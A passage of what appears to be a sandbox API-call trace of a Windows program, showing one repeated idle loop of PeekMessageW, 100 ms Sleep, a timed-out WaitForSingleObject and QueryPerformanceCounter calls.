lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0107.837] Sleep (dwMilliseconds=0x64) [0107.948] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0107.948] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=632449398) returned 1 [0107.948] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=632449539) returned 1 [0107.949] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0107.949] Sleep (dwMilliseconds=0x64) [0108.052] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0108.052] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=632803683) returned 1 [0108.052] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=632803880) returned 1 [0108.053] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0108.053] Sleep (dwMilliseconds=0x64) [0108.165] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0108.165] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=633191040) returned 1 [0108.165] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=633191185) returned 1 [0108.166] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0108.166] Sleep (dwMilliseconds=0x64) [0108.270] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0108.270] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=633548894) returned 1 [0108.270] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=633549026) returned 1 [0108.270] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0108.271] Sleep (dwMilliseconds=0x64) [0108.410] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0108.410] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=634028410) returned 1 [0108.410] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=634028578) returned 1 [0108.411] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0108.411] Sleep (dwMilliseconds=0x64) [0108.535] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0108.535] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=634454688) returned 1 [0108.535] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=634454889) returned 1 [0108.536] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0108.537] Sleep (dwMilliseconds=0x64) [0108.645] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0108.645] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=634829395) returned 1 [0108.645] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=634829579) returned 1 [0108.645] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0108.646] Sleep (dwMilliseconds=0x64) [0108.757] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0108.757] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=635213668) returned 1 [0108.757] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=635213853) returned 1 [0108.758] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0108.758] Sleep (dwMilliseconds=0x64) [0108.863] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0108.863] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=635575304) returned 1 [0108.863] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=635575450) returned 1 [0108.863] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0108.864] Sleep (dwMilliseconds=0x64) [0108.972] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0108.972] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=635948958) returned 1 [0108.972] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=635949135) returned 1 [0108.973] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0108.973] Sleep (dwMilliseconds=0x64) [0109.081] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0109.081] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=636321950) returned 1 [0109.081] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=636322114) returned 1 [0109.082] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0109.082] Sleep (dwMilliseconds=0x64) [0109.191] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0109.191] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=636695887) returned 1 [0109.191] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=636696090) returned 1 [0109.192] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0109.193] Sleep (dwMilliseconds=0x64) [0109.301] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0109.301] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=637072462) returned 1 [0109.301] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=637072632) returned 1 [0109.301] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0109.302] Sleep (dwMilliseconds=0x64) [0109.437] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0109.437] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=637537295) returned 1 [0109.437] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=637537432) returned 1 [0109.437] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0109.438] Sleep (dwMilliseconds=0x64) [0109.533] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0109.533] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=637866311) returned 1 [0109.533] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=637866430) returned 1 [0109.534] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0109.535] Sleep (dwMilliseconds=0x64) [0109.642] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0109.642] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=638239773) returned 1 [0109.642] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=638239961) returned 1 [0109.643] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0109.643] Sleep (dwMilliseconds=0x64) [0109.751] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0109.751] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=638612710) returned 1 [0109.752] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=638612880) returned 1 [0109.752] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0109.752] Sleep (dwMilliseconds=0x64) [0109.861] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0109.861] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=638987920) returned 1 [0109.861] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=638988147) returned 1 [0109.862] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0109.862] Sleep (dwMilliseconds=0x64) [0109.970] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0109.970] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=639359247) returned 1 [0109.970] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=639359431) returned 1 [0109.970] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0109.971] Sleep (dwMilliseconds=0x64) [0110.206] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0110.206] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=640167271) returned 1 [0110.206] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=640167527) returned 1 [0110.208] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0110.208] Sleep (dwMilliseconds=0x64) [0110.313] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0110.313] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=640532345) returned 1 [0110.313] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=640532576) returned 1 [0110.314] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0110.315] Sleep (dwMilliseconds=0x64) [0110.423] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0110.423] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=640907632) returned 1 [0110.423] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=640907787) returned 1 [0110.423] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0110.424] Sleep (dwMilliseconds=0x64) [0110.546] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0110.546] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=641329518) returned 1 [0110.546] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=641329726) returned 1 [0110.548] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0110.548] Sleep (dwMilliseconds=0x64) [0110.675] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0110.675] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=641770036) returned 1 [0110.675] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=641770181) returned 1 [0110.676] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0110.676] Sleep (dwMilliseconds=0x64) [0110.781] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0110.781] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=642132469) returned 1 [0110.781] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=642132586) returned 1 [0110.782] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0110.782] Sleep (dwMilliseconds=0x64) [0110.890] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0110.891] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=642506001) returned 1 [0110.891] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=642506157) returned 1 [0110.891] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0110.892] Sleep (dwMilliseconds=0x64) [0111.001] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0111.001] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=642884833) returned 1 [0111.001] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=642885012) returned 1 [0111.002] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0111.002] Sleep (dwMilliseconds=0x64) [0111.109] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0111.109] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=643254088) returned 1 [0111.109] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=643254266) returned 1 [0111.110] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0111.111] Sleep (dwMilliseconds=0x64) [0111.219] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0111.219] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=643627241) returned 1 [0111.219] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=643627428) returned 1 [0111.219] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0111.220] Sleep (dwMilliseconds=0x64) [0111.331] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0111.332] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=644013344) returned 1 [0111.332] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=644013529) returned 1 [0111.332] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0111.333] Sleep (dwMilliseconds=0x64) [0111.437] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0111.437] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=644373518) returned 1 [0111.437] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=644373700) returned 1 [0111.438] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0111.438] Sleep (dwMilliseconds=0x64) [0111.546] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0111.546] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=644747116) returned 1 [0111.546] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=644747312) returned 1 [0111.547] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0111.547] Sleep (dwMilliseconds=0x64) [0111.655] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0111.655] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=645120242) returned 1 [0111.655] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=645120454) returned 1 [0111.657] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0111.657] Sleep (dwMilliseconds=0x64) [0111.764] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0111.765] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=645493375) returned 1 [0111.765] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=645493571) returned 1 [0111.765] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0111.766] Sleep (dwMilliseconds=0x64) [0111.874] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0111.874] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=645866453) returned 1 [0111.874] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=645866651) returned 1 [0111.874] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0111.875] Sleep (dwMilliseconds=0x64) [0111.984] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0111.984] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=646242592) returned 1 [0111.984] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=646242787) returned 1 [0111.984] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0111.985] Sleep (dwMilliseconds=0x64) [0112.092] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0112.092] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=646612961) returned 1 [0112.092] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=646613157) returned 1 [0112.093] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0112.093] Sleep (dwMilliseconds=0x64) [0112.201] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0112.201] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=646986458) returned 1 [0112.201] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=646986657) returned 1 [0112.202] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0112.203] Sleep (dwMilliseconds=0x64) [0112.310] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0112.311] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=647359313) returned 1 [0112.311] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=647359495) returned 1 [0112.311] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0112.312] Sleep (dwMilliseconds=0x64) [0112.424] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0112.424] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=647745825) returned 1 [0112.424] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=647745997) returned 1 [0112.424] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0112.425] Sleep (dwMilliseconds=0x64) [0112.529] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0112.529] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=648105601) returned 1 [0112.529] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=648105772) returned 1 [0112.529] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0112.530] Sleep (dwMilliseconds=0x64) [0112.638] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0112.638] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=648479388) returned 1 [0112.638] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=648479588) returned 1 [0112.639] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0112.640] Sleep (dwMilliseconds=0x64) [0112.747] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0112.747] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=648852195) returned 1 [0112.747] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=648852366) returned 1 [0112.748] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0112.748] Sleep (dwMilliseconds=0x64) [0112.857] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0112.857] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=649226031) returned 1 [0112.857] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=649226227) returned 1 [0112.857] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0112.858] Sleep (dwMilliseconds=0x64) [0112.966] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0112.966] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=649598865) returned 1 [0112.966] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=649599062) returned 1 [0112.966] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0112.967] Sleep (dwMilliseconds=0x64) [0113.074] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0113.074] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=649969845) returned 1 [0113.074] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=649969974) returned 1 [0113.075] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0113.075] Sleep (dwMilliseconds=0x64) [0113.185] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0113.185] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=650347687) returned 1 [0113.185] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=650347836) returned 1 [0113.186] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0113.186] Sleep (dwMilliseconds=0x64) [0113.293] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0113.293] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=650717804) returned 1 [0113.293] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=650717988) returned 1 [0113.294] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0113.294] Sleep (dwMilliseconds=0x64) [0113.406] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0113.406] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=651104053) returned 1 [0113.406] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=651104229) returned 1 [0113.407] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0113.407] Sleep (dwMilliseconds=0x64) [0113.511] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0113.511] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=651464186) returned 1 [0113.512] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=651464382) returned 1 [0113.512] PeekMessageW 